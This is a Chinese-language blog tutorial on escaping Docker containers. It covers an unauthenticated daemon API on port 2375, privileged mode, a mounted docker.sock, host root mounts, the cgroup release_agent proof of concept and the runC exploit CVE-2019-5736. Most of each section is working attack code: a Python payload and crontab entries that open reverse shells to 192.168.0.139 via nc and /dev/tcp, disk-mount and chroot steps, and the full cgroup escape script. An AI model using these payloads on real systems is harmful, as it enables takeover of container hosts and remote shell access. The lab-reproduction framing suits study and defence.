<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    淺析不同情況下Docker的逃逸方法

    VSole2022-04-18 15:58:47

    一、Docker逃逸

    1、docker daemon api未授權訪問

    漏洞原理:在使用docker swarm的時候,節點上會開放一個TCP端口2375,綁定在0.0.0.0上,如果我們使用HTTP的方式訪問會返回404 利用思路:通過掛在宿主機的目錄,寫定時任務獲取SHELL,從而逃逸。

    git clone https://github.com/vulhub/vulhub.git 
    

    docker-compose build docker-compose up -d 
    


    docker ps -a | grep rce 
    

    訪問ip:2375/version 

    payload

    import docker  client = docker.DockerClient(base_url='http://192.168.0.138:2375') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.0.138 1234 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}) print(data) 
    

    2、privileged 特權模式啟動容器

    2.1、特權模式與非特權模式的區別

    2.1.1、Linux Capabilities

    • 普通模式下容器內進程只可以使用有限的一些 Linux Capabilities

    在普通模式下可以手動自定義--cap-add參數自定義

    • 特權模式下的容器內進程可以使用所有的 linux capabilities

    特權模式下,容器內進程擁有使用所有的 linux capabilities 的能力,但是, 不表示進程就一定有使用某些 linux capabilities 的權限。比如,如果容器是以非 root 用戶啟動的, 就算它是以特權模式啟動的容器,也不表示它就能夠做一些無權限做的事情。

    2.1.2、Linux敏感目錄


    • 普通模式下,部分內核模塊路徑比如 /proc 下的一些目錄需要阻止寫入、有些又需要允許讀寫, 這些文件目錄將會以 tmpfs 文件系統的方式掛載到容器中,以實現目錄 mask 的需求

    • 特權模式下,這些目錄將不再以 tmpfs 文件系統的方式掛載

    Tips: Tmpfs說明:

    https://blog.51cto.com/u_11495268/2424414

    2.1.3、任何內核文件都是可讀寫

    • 普通模式下,部分內核文件系統(sysfs、procfs)會被以只讀的方式掛載到容器中,以阻止容器內進程隨意修改系統內核

    • 特權模式下,內核文件系統將不再以只讀的方式被掛載

    2.1.4、AppArmor與Seccomp

    Tips

    AppArmor: https://www.cnblogs.com/zlhff/p/5464862.htmlSeccomp: https://en.wikipedia.org/wiki/Seccomp

    • 普通模式下,可以通過配置 AppArmor 或 Seccomp 相關安全選項 (如果未配置的話,容器引擎默認也會啟用一些對應的默認配置) 對容器進行加固
    • 特權模式下,這些 AppArmor 或 Seccomp 相關配置將不再生效

    2.1.5、cgroup讀寫

    • 默認模式下,只能以只讀模式操作 cgroup
    • 特權模式下,將可以對 cgroup 進行讀寫操作

    2.1.6、/dev

    • 普通模式下,容器內 /dev 目錄下看不到節點 /dev 目錄下特有的 devices

    • 特權模式下,容器內的 /dev 目錄會包含這些來自節點 /dev 目錄下的那些內容

    2.1.7、SELinux

    • 特權模式下,SELinux 相關的安全加固配置將被禁用。
    • 普通模式下也可以通過對應的安全選項來禁用 SELinux 特性。

    2.1.8、參考

    https://mozillazg.com/2021/11/docker-container-difference-between-privileged-mode-and-non-privileged-mode.html

    2.2、復現

    2.2.1、啟動特權容器

    docker run -it --privileged ubuntu:18.04 
    

    2.2.2、掛在宿主機目錄

    fdisk -l 
    

    可以直接掛載宿主機的磁盤

    mkdir uzju mount /dev/sda3 uzju/ chroot /uzju/ 
    

    查看宿主機的/etc/passwd 

    查看root目錄 

    Tips: chroot命令 chroot命令 用來在指定的根目錄下運行指令。chroot,即 change root directory (更改 root 目錄)。在 linux 系統中,系統默認的目錄結構都是以/,即是以根 (root) 開始的。而在使用 chroot 之后,系統的目錄結構將以指定的位置作為/位置。 把根目錄換成指定的目的目錄

    Ps: 在這遇到一個問題 https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/ 參考了這篇文章,但是這篇文章說,使用以下命令 cat /proc/self/status | grep CapEff如果返回的值為0000003fffffffff就是特權模式啟動,但是我在我的centos中發現返回的值為0000001fffffffff,我也是特權模式啟動 。


    可是在Centos中的值如下圖 

    隨后在ubuntu21.10的宿主機系統下載docker鏡像ubuntu18.04,查看后發現結果為0000003fffffffff 

    通過capsh命令可以看到,為0000001fffffffff和為0000003fffffffff就只相差一點 

    2.2.3、寫crontab 反彈shell

    crontab -e * * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/1234 0>&1 
    

    等待反彈即可 

    3、掛載docker.sock

    3.1、什么是docker.sock





    /var/run/docker.sock是 Docker守護程序默認監聽的 Unix 套接字。它也是一個用于從容器內與Docker守護進程通信的工具。

    取自StackOverflowUnix Sockets 術語套接字通常是指 IP 套接字。這些是綁定到端口(和地址)的端口,我們向其發送 TCP 請求并從中獲取響應。

    另一種類型的 Socket 是 Unix Socket,這些套接字用于IPC(進程間通信)。它們也稱為 Unix 域套接字 ( UDS )。Unix 套接字使用本地文件系統進行通信,而 IP 套接字使用網絡。

    Docker 守護進程可以通過三種不同類型的 Socket 監聽 Docker Engine API 請求:unix, tcp, and fd. 默認情況下,在 /var/run/docker.sock 中創建一個 unix 域套接字(或 IPC 套接字)

    3.2、創建docker

    docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04 
    

    隨后在docker容器中安裝docker

    # ubuntu 18.04安裝dockersudo apt-get update# 安裝依賴包sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common# 添加 Docker 的官方 GPG 密鑰curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -# 驗證您現在是否擁有帶有指紋的密鑰sudo apt-key fingerprint 0EBFCD88# 設置穩定版倉庫sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"# 更新$ sudo apt-get update# 安裝最新的Docker-ce sudo apt-get install docker-ce# 啟動sudo systemctl enable dockersudo systemctl start docker
    

    安裝完成之后我們使用docker ps就可以看到宿主機上的容器了。

    3.3、復現

    將宿主機的根目錄掛載到容器

    docker run -it -v /:/uzju ubuntu:18.04 /bin/bash 
    


    chroot uzju 
    

    可以看到宿主機root目錄上的圖片,反彈shell也是修改crontab即可。

    3.4、反彈shell

    通過修改Crontab定時任務來反彈shell

    crontab -e  
    


    * * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/123 0>&1 
    

    4、掛載宿主機根目錄

    如果在docker啟動的時候掛載了宿主機的根目錄,就可以通過chroot獲取宿主機的權限。

    docker run -it -v /:/uzju/ ubuntu:18.04 chroot /uzju/ 
    

    4.1、反彈shell

    還是一樣可以通過crontab反彈shell

    * * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/1234 0>&1 
    

    5、Cgroup執行宿主機系統命令

    通過notify_on_release實現容器逃逸

    條件:

    • 以root用戶身份在容器內運行

    • 使用SYS_ADMINLinux功能運行

    • 缺少AppArmor配置文件,否則將允許mountsyscall

    • cgroup v1虛擬文件系統必須以讀寫方式安裝在容器內
    docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04 
    

    POC

    # In the container# 掛載宿主機cgroup,自定義一個cgroup,/tmp/cgrp/xmkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x# 設置/tmp/cgrp/x的cgroup的notify_no_release和release_agent#  設置/tmp/cgrp/x的notify_no_release屬性設置為1,通過sed匹配出/etc/mtab中perdir=的路徑,然后將路徑+cmd寫入/tmp/cgrp/release_agentecho 1 > /tmp/cgrp/x/notify_on_releasehost_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`echo "$host_path/cmd" > /tmp/cgrp/release_agent# 寫入自定義命令echo '#!/bin/sh' > /cmd# 結果在當前目錄的output文件中echo "ps aux > $host_path/output" >> /cmdchmod a+x /cmd# 執行完sh -c之后,sh進程自動退出,cgroup /tmp/cgrp/x里不再包含任何任務,/tmp/cgrp/release_agent文件里的shell將被操作系統內核執行,達到了容器逃逸的效果sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
    

    隨后查看cat output 

    5.1、cgroup

    cgroups 是Linux內核提供的一種可以限制單個進程或者多個進程所使用資源的機制,可以對 cpu,內存等資源實現精細化的控制,目前越來越火的輕量級容器 Docker 就使用了 cgroups 提供的資源限制能力來完成cpu,內存等部分的資源控制。

    另外,開發者也可以使用 cgroups 提供的精細化控制能力,限制某一個或者某一組進程的資源使用。比如在一個既部署了前端 web 服務,也部署了后端計算模塊的八核服務器上,可以使用 cgroups 限制 web server 僅可以使用其中的六個核,把剩下的兩個核留給后端計算模塊。

    Cgroup主要限制的資源

    • CPU
    • 內存

    • 網絡

    • 磁盤I/O 


    5.2、notify_on_release

    如果cgroup中使能notify_on_release,cgroup中的最后一個進程被移除,最后一個子cgroup也被刪除時,cgroup會主動通知kernel。接收到消息的kernel會執行release_agent文件中指定的程序。

    notify_on_release默認是關閉的,release_agent的內容默認為空,子cgroup在創建時會繼承父cgroup中notify_on_relase和release_agent的屬性。所以這兩個文件只存在于cgroupfs的頂層目錄中。

    cgroup的每一個subsystem都有參數notify_on_release,這個參數值是Boolean型,1或0。分別可以啟動和禁用釋放代理的指令。如果notify_on_release啟用,當cgroup不再包含任何任務時(即,cgroup的tasks文件里的PID為空時),系統內核會執行release_agent參數指定的文件里的內容。

    https://www.freebuf.com/vuls/264843.html

    6、runC逃逸-CVE-2019-5736

    6.1、影響版本

    docker version <=18.09.2 RunC version <=1.0-rc6

    curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh 
    

    下載Exploit

    git clone https://github.com/Frichetten/CVE-2019-5736-PoC CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go 
    

    下載完之后改一下main.go 

    這里改成在宿主機的/tmp寫一個UzJu 

    隨后傳入容器中 

    然后我們在宿主機的/tmp目錄中寫一個UzJu 

    運行exp 

    然后我們在宿主機嘗試去exec進入該容器 

    可以看到執行成功了 

    參考文章

    • https://security.tencent.com/index.php/blog/msg/183
    • https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
    • https://mozillazg.com/2021/11/docker-container-difference-between-privileged-mode-and-non-privileged-mode.html
    • https://stackoverflow.com/questions/35110146/can-anyone-explain-docker-sock
    • https://www.educative.io/edpresso/var-run-dockersock
    • https://www.cnblogs.com/fundebug/p/6723464.html
    • https://gihyo.jp/admin/serial/01/linux_containers/0042?page=2
    • https://qiita.com/miyase256/items/2ec5b5703ccd525e7ced
    • https://tech.meituan.com/2015/03/31/cgroups.html
    • https://blog.csdn.net/qq_38376348/article/details/122945600
    • https://segmentfault.com/a/1190000040980305
    • https://www.freebuf.com/vuls/264843.html
    dockercgroup
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    首先,對Docker架構以及基本安全特性進行介紹,分析了Docker面臨的安全威脅。由于Docker擁有輕量化、高效率和易部署的特點,目前已被廣泛應用于云計算和微服務架構中。本文對Docker安全相關的研究思路、方法和工具進行比較和分析,并指出未來可能的研究方向。此外,Iptables的限制范圍有限,容器網絡仍然容易受到數據鏈路層攻擊,如ARP欺騙等。
    搭建 k8s docker 漏洞環境
    在滲透測試過程中,我們的起始攻擊點可能在一臺虛擬機里或是一個Docker環境里,甚至可能是在K8s集群環境的一個pod里,我們應該如何快速判斷當前是否在容器環境中運行呢?當然,以上這兩種都是比較主觀的判斷。接下來,我們再來盤點下比較常用的幾種檢測方式。
    主要介紹了容器技術的發展、以Docker為代表的容器技術生態以及容器技術的應用場景。
    想學K8s,必須得先學會 Docker 嗎?K8s 和 Docker 的關系Docker 和 K8s 這兩個經常一起出現,兩者的Logo 看著也有一定聯系一個是背上馱著集裝箱的鯨魚一個是船的舵輪。紅框里的容器運行時負責對接具體的容器實現Docker 公司也推出過自己的容器集群管理方案 Docker Swarm ,跟 K8s 算是競品,但是在生產上幾乎沒人使用。
    恰巧近期有一枚和容器逃逸相關的漏洞:CVE-2022-0492 Linux內核權限提升漏洞可導致容器意外逃逸。
    在完成了這項針對 Linux 中多個受控制用戶空間的基礎性工作后,Linux 容器開始逐漸成形并最終發展成了現在的模樣。開源 Docker 社區致力于改進這類技術,并免費提供給所有用戶,使之獲益。除了運行容器之外,Docker 技術還具備其他多項功能,包括簡化用于構建容器、傳輸鏡像以及控制鏡像版本的流程。與此相反,Docker 技術鼓勵應用程序各自獨立運行其進程,并提供相應工具以實現這一功能。
    一、Docker逃逸 1、docker daemon api未授權訪問 漏洞原理:在使用docker swarm的時候,節點上會開放一個TCP端口2375,綁定在0.0.0.0上,如果我們使用HTTP的方式訪問會返回404 利用思路:通過掛在宿主機的目錄,寫定時任務獲取SHELL,從而逃逸。
    特權模式逃逸和掛載目錄逃逸是最常見的逃逸手法。 特權模式逃逸,也就是熟知的--privileged選項啟動后容器不受seccomp等機制的的限制,常見利用就是掛載根目錄或利用docker.sock創建惡意容器。 而基于容器特權模式逃逸也分不同特權情況,本文總結常見特權模式下不同Capabilities常見對應的攻擊手法。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类